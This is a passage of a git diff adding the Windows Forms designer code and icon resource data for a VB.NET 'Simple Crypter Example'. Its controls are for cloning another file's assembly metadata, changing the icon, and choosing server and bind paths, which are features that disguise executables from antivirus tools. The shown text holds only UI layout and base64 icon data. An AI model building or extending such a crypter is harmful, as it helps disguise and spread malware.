System.Drawing.Size(239, 20) + Me.TextBox5.TabIndex = 2 + Me.TextBox5.Text = "[ File To Clone Info Path ]" + ' + 'Button8 + ' + Me.Button8.Location = New System.Drawing.Point(249, 18) + Me.Button8.Name = "Button8" + Me.Button8.Size = New System.Drawing.Size(48, 23) + Me.Button8.TabIndex = 3 + Me.Button8.Text = ". . . . . ." + Me.Button8.UseVisualStyleBackColor = True + ' + 'TabPage3 + ' + Me.TabPage3.Controls.Add(Me.GroupBox6) + Me.TabPage3.Controls.Add(Me.GroupBox4) + Me.TabPage3.Controls.Add(Me.GroupBox3) + Me.TabPage3.Location = New System.Drawing.Point(4, 25) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Size = New System.Drawing.Size(350, 180) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = "Advanced" + Me.TabPage3.UseVisualStyleBackColor = True + ' + 'TabPage4 + ' + Me.TabPage4.Controls.Add(Me.FileVersion) + Me.TabPage4.Controls.Add(Me.Label10) + Me.TabPage4.Controls.Add(Me.CheckBox9) + Me.TabPage4.Controls.Add(Me.NumericUpDown26) + Me.TabPage4.Controls.Add(Me.NumericUpDown27) + Me.TabPage4.Controls.Add(Me.NumericUpDown22) + Me.TabPage4.Controls.Add(Me.NumericUpDown20) + Me.TabPage4.Controls.Add(Me.NumericUpDown21) + Me.TabPage4.Controls.Add(Me.TextBox23) + Me.TabPage4.Controls.Add(Me.TextBox25) + Me.TabPage4.Controls.Add(Me.TextBox24) + Me.TabPage4.Controls.Add(Me.TextBox20) + Me.TabPage4.Controls.Add(Me.TextBox22) + Me.TabPage4.Controls.Add(Me.NumericUpDown25) + Me.TabPage4.Controls.Add(Me.Button6) + Me.TabPage4.Controls.Add(Me.NumericUpDown23) + Me.TabPage4.Controls.Add(Me.TextBox21) + Me.TabPage4.Controls.Add(Me.NumericUpDown24) + Me.TabPage4.Location = New System.Drawing.Point(4, 25) + Me.TabPage4.Name = "TabPage4" + Me.TabPage4.Size = New System.Drawing.Size(350, 180) + Me.TabPage4.TabIndex = 3 + Me.TabPage4.Text = "Assembly " + Me.TabPage4.UseVisualStyleBackColor = True + ' + 'FileVersion + ' + Me.FileVersion.AutoSize = True + Me.FileVersion.Location = New System.Drawing.Point(9, 141) + Me.FileVersion.Name = "FileVersion" + Me.FileVersion.Size = New System.Drawing.Size(65, 13) + Me.FileVersion.TabIndex = 52 + Me.FileVersion.Text = "FileVersion :" + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.Location = New System.Drawing.Point(22, 103) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(49, 13) + Me.Label10.TabIndex = 51 + Me.Label10.Text = "Version :" + ' + 'CheckBox9 + ' + Me.CheckBox9.AutoSize = True + Me.CheckBox9.Location = New System.Drawing.Point(13, 3) + Me.CheckBox9.Name = "CheckBox9" + Me.CheckBox9.Size = New System.Drawing.Size(112, 17) + Me.CheckBox9.TabIndex = 44 + Me.CheckBox9.Text = "Change assemblly" + Me.CheckBox9.UseVisualStyleBackColor = True + ' + 'NumericUpDown26 + ' + Me.NumericUpDown26.Location = New System.Drawing.Point(177, 134) + Me.NumericUpDown26.Name = "NumericUpDown26" + Me.NumericUpDown26.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown26.TabIndex = 42 + ' + 'NumericUpDown27 + ' + Me.NumericUpDown27.Location = New System.Drawing.Point(224, 134) + Me.NumericUpDown27.Name = "NumericUpDown27" + Me.NumericUpDown27.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown27.TabIndex = 41 + ' + 'NumericUpDown22 + ' + Me.NumericUpDown22.Location = New System.Drawing.Point(177, 104) + Me.NumericUpDown22.Name = "NumericUpDown22" + Me.NumericUpDown22.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown22.TabIndex = 38 + ' + 'NumericUpDown20 + ' + Me.NumericUpDown20.Location = New System.Drawing.Point(80, 104) + Me.NumericUpDown20.Name = "NumericUpDown20" + Me.NumericUpDown20.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown20.TabIndex = 39 + ' + 'NumericUpDown21 + ' + Me.NumericUpDown21.Location = New System.Drawing.Point(130, 104) + Me.NumericUpDown21.Name = "NumericUpDown21" + Me.NumericUpDown21.Size = New System.Drawing.Size(41, 20) + Me.NumericUpDown21.TabIndex = 40 + ' + 'TextBox23 + ' + Me.TextBox23.BackColor = System.Drawing.Color.White + Me.TextBox23.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox23.Location = New System.Drawing.Point(168, 26) + Me.TextBox23.Name = "TextBox23" + Me.TextBox23.ReadOnly = True + Me.TextBox23.Size = New System.Drawing.Size(97, 20) + Me.TextBox23.TabIndex = 35 + Me.TextBox23.Text = "Product " + ' + 'TextBox25 + ' + Me.TextBox25.BackColor = System.Drawing.Color.White + Me.TextBox25.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox25.Location = New System.Drawing.Point(168, 78) + Me.TextBox25.Name = "TextBox25" + Me.TextBox25.ReadOnly = True + Me.TextBox25.Size = New System.Drawing.Size(97, 20) + Me.TextBox25.TabIndex = 37 + Me.TextBox25.Text = "Trademark" + ' + 'TextBox24 + ' + Me.TextBox24.BackColor = System.Drawing.Color.White + Me.TextBox24.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox24.Location = New System.Drawing.Point(168, 52) + Me.TextBox24.Name = "TextBox24" + Me.TextBox24.ReadOnly = True + Me.TextBox24.Size = New System.Drawing.Size(96, 20) + Me.TextBox24.TabIndex = 36 + Me.TextBox24.Text = "Copyright " + ' + 'Timer3 + ' + ' + 'ProgressBar1 + ' + Me.ProgressBar1.Location = New System.Drawing.Point(4, 215) + Me.ProgressBar1.Name = "ProgressBar1" + Me.ProgressBar1.Size = New System.Drawing.Size(350, 10) + Me.ProgressBar1.TabIndex = 36 + ' + 'Timer4 + ' + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.SystemColors.ControlLight + Me.ClientSize = New System.Drawing.Size(358, 251) + Me.Controls.Add(Me.ProgressBar1) + Me.Controls.Add(Me.TabControl1) + Me.Controls.Add(Me.Button1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.MinimizeBox = False + Me.Name = "Form1" + Me.ShowIcon = False + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Elm0D Simple Crypter Example" + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout + Me.GroupBox5.ResumeLayout(false) + Me.GroupBox5.PerformLayout + CType(Me.PictureBox2,System.ComponentModel.ISupportInitialize).EndInit + Me.GroupBox2.ResumeLayout(false) + Me.GroupBox2.PerformLayout + Me.GroupBox3.ResumeLayout(false) + Me.GroupBox3.PerformLayout + Me.GroupBox4.ResumeLayout(false) + Me.GroupBox4.PerformLayout + CType(Me.NumericUpDown1,System.ComponentModel.ISupportInitialize).EndInit + Me.GroupBox6.ResumeLayout(false) + Me.GroupBox6.PerformLayout + CType(Me.NumericUpDown24,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown23,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown25,System.ComponentModel.ISupportInitialize).EndInit + Me.TabControl1.ResumeLayout(false) + Me.TabPage1.ResumeLayout(false) + Me.TabPage2.ResumeLayout(false) + Me.GroupBox8.ResumeLayout(false) + Me.GroupBox8.PerformLayout + Me.TabPage3.ResumeLayout(false) + Me.TabPage4.ResumeLayout(false) + Me.TabPage4.PerformLayout + CType(Me.NumericUpDown26,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown27,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown22,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown20,System.ComponentModel.ISupportInitialize).EndInit + CType(Me.NumericUpDown21,System.ComponentModel.ISupportInitialize).EndInit + Me.ResumeLayout(false) + +End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents TextBox6 As System.Windows.Forms.TextBox + Friend WithEvents Button7 As System.Windows.Forms.Button + Friend WithEvents GroupBox5 As System.Windows.Forms.GroupBox + Friend WithEvents icotxt As System.Windows.Forms.TextBox + Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox + Friend WithEvents Button5 As System.Windows.Forms.Button + Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox10 As System.Windows.Forms.CheckBox + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents CheckBox8 As System.Windows.Forms.CheckBox + Friend WithEvents spoofbox As System.Windows.Forms.ComboBox + Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents RadioButton4 As System.Windows.Forms.RadioButton + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents RadioButton3 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + Friend WithEvents GroupBox6 As System.Windows.Forms.GroupBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents CheckBox5 As System.Windows.Forms.CheckBox + Friend WithEvents NumericUpDown24 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown23 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown25 As System.Windows.Forms.NumericUpDown + Friend WithEvents TextBox20 As System.Windows.Forms.TextBox + Friend WithEvents TextBox21 As System.Windows.Forms.TextBox + Friend WithEvents Button6 As System.Windows.Forms.Button + Friend WithEvents TextBox22 As System.Windows.Forms.TextBox + Friend WithEvents TabControl1 As System.Windows.Forms.TabControl + Friend WithEvents TabPage1 As System.Windows.Forms.TabPage + Friend WithEvents TabPage2 As System.Windows.Forms.TabPage + Friend WithEvents TabPage3 As System.Windows.Forms.TabPage + Friend WithEvents TabPage4 As System.Windows.Forms.TabPage + Friend WithEvents NumericUpDown22 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown20 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown21 As System.Windows.Forms.NumericUpDown + Friend WithEvents TextBox23 As System.Windows.Forms.TextBox + Friend WithEvents TextBox25 As System.Windows.Forms.TextBox + Friend WithEvents TextBox24 As System.Windows.Forms.TextBox + Friend WithEvents Timer3 As System.Windows.Forms.Timer + Friend WithEvents NumericUpDown26 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown27 As System.Windows.Forms.NumericUpDown + Friend WithEvents CheckBox9 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox8 As System.Windows.Forms.GroupBox + Friend WithEvents CheckBox12 As System.Windows.Forms.CheckBox + Friend WithEvents TextBox5 As System.Windows.Forms.TextBox + Friend WithEvents Button8 As System.Windows.Forms.Button + Friend WithEvents FileVersion As System.Windows.Forms.Label + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar + Friend WithEvents Timer4 As System.Windows.Forms.Timer + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents TextBox8 As System.Windows.Forms.TextBox + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + Friend WithEvents CheckBox13 As System.Windows.Forms.CheckBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents servpath As System.Windows.Forms.ComboBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents bindpath As System.Windows.Forms.ComboBox + Friend WithEvents copyser As System.Windows.Forms.CheckBox + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents TextBox7 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox7 As System.Windows.Forms.CheckBox + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents CheckBox6 As System.Windows.Forms.CheckBox + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox11 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox14 As System.Windows.Forms.CheckBox + +End Class diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.resx b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.resx new file mode 100644 index 0000000..3a85d41 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.resx @@ -0,0 +1,5616 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 28, 22 + + + 110, 24 + + + + + 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 + AAAAAAAAISEhbEdHR/8SDAz/MTg4/4u7vv+Px8n/kMjM/3aRk/9QTEz/SEdH/zc3N8QFBQUNAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAICAgakZGRv8QDAz/Myws/4+QkP9/fHv/UEpJ/0dGRf84ODjIBgYGDgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHh4eZUZFRf8SERH/CgkJ/zAvL/9HRkb/ODc3ygcH + BxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGxsbYUlJSf8tLCz/MzIy/zo6 + Os4GBgYSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHBwcUCoq + Kr4WFhaiCAgIEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAwAAAAYAAAAAEAIAAAAAAAQCYAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQkJSBgYGLEMDAzBAQEBeAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQERBhRkZG/zU0NP8PDw//CQgI/wcH + B6kAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAA8PD19GRkb/SUlJ/z09 + PP8SERH/CQkJ/wwMDP8HBwetAAAABQAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAgAAAAAAAAAADQ0NXURD + Q/xGRUX/QkFB/0VERP8ZGBn/CAgH/wsLC/8MCwv/BwcHsQAAAAgAAAAAAAAAAgAAAAIAAAABAAAAAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAIAAAADAAAAAgAA + AAANDQ1cQUFB/EVERP9APz//QEBA/0JCQv8aGhr/CAgI/wwLC/8MCwv/DQwM/wkJCbcBAQELAAAAAAAA + AAQAAAADAAAAAgAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAgAA + AAMAAAADAAAAAAwMDFs/Pz/7Q0JD/z49Pv8+Pj3/Pj4+/0NCQv8aGRn/BwYG/wwLC/8MCwv/DAsL/w0M + DP8KCQq7AQEBDgAAAAAAAAAFAAAAAwAAAAIAAAABAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA + AAIAAAADAAAABAAAAAQAAAAACwsLWD4+PvlCQUH/PDw8/zw8PP8/Pj7/Pj09/zEwMP8bGhr/Dw4O/woK + Cf8LCgr/DAsL/wwMDP8NDQz/CQkJwAEBARIAAAAAAAAABgAAAAQAAAADAAAAAgAAAAEAAAABAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAEAAAABAAAAAgAAAAMAAAAEAAAABQAAAAAMDAxZPj4++UFAQf87Ojv/Pj09/z08PP8tLCz/FRQU/w0N + Df8bGhr/IiIi/xwbG/8QDw//CgoK/wwLC/8NDAz/Dg0N/wkJCcYBAQEWAAAAAAAAAAcAAAAFAAAAAwAA + 